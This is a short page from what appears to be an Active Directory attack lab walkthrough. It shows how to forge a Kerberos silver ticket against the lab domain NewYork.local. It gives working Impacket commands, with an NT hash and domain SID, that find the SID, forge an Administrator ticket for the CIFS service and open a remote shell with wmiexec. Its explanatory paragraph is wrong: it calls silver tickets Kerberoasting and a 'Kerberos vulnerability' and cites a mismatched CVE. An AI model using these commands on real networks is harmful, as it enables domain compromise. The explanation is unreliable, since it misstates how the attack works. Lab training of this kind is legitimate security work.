> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/user-acl-exploits/generic-all-on-user-centralpark-greater-than-diego.montenegro/silver-ticket.md).

# Silver ticket

* Another way to get a shell is by creating a silver ticket :
* Find the domain SID:

```
lookupsid.py -hashes ':4434b2874a45816ce75c971df2187ca6' 'NewYork.local'/'NYC$'@NYC.NewYork.local 0
```

* Create the silver ticket:

Silver ticket attacks use this authentication to forge ticket granting service tickets. A forged service ticket is encrypted and enables access to resources for the specific service targeted by the silver ticket attack.

What a silver ticket attack shares with other types of ticket attacks is the abuse of the[ Kerberos vulnerability](https://www.crowdstrike.com/blog/cve-2020-1267-integer-overflow-security-advisor/). This is called Kerberoasting, and it harvests password hashes for Active Directory user accounts by exploiting the Kerberos protocol. Kerberos is a network security protocol that authenticates service requests using secret-key cryptography. In addition to the silver ticket, the golden ticket and diamond ticket also attack this vulnerability.

```
ticketer.py -nthash '4434b2874a45816ce75c971df2187ca6' -domain-sid 'S-1-5-21-1209695003-1472128694-59720954' -domain NewYork.local -spn cifs/NYC.NewYork.local Administrator
```

\
And use it :

```
export KRB5CCNAME=/workspace/acl/Administrator.ccache
wmiexec.py -k -no-pass NewYork.local/administrator@NYC.NewYork.local
```

Ok the fun with NewYork.local domain is over, now let’s try some acl in the other domains.

<br>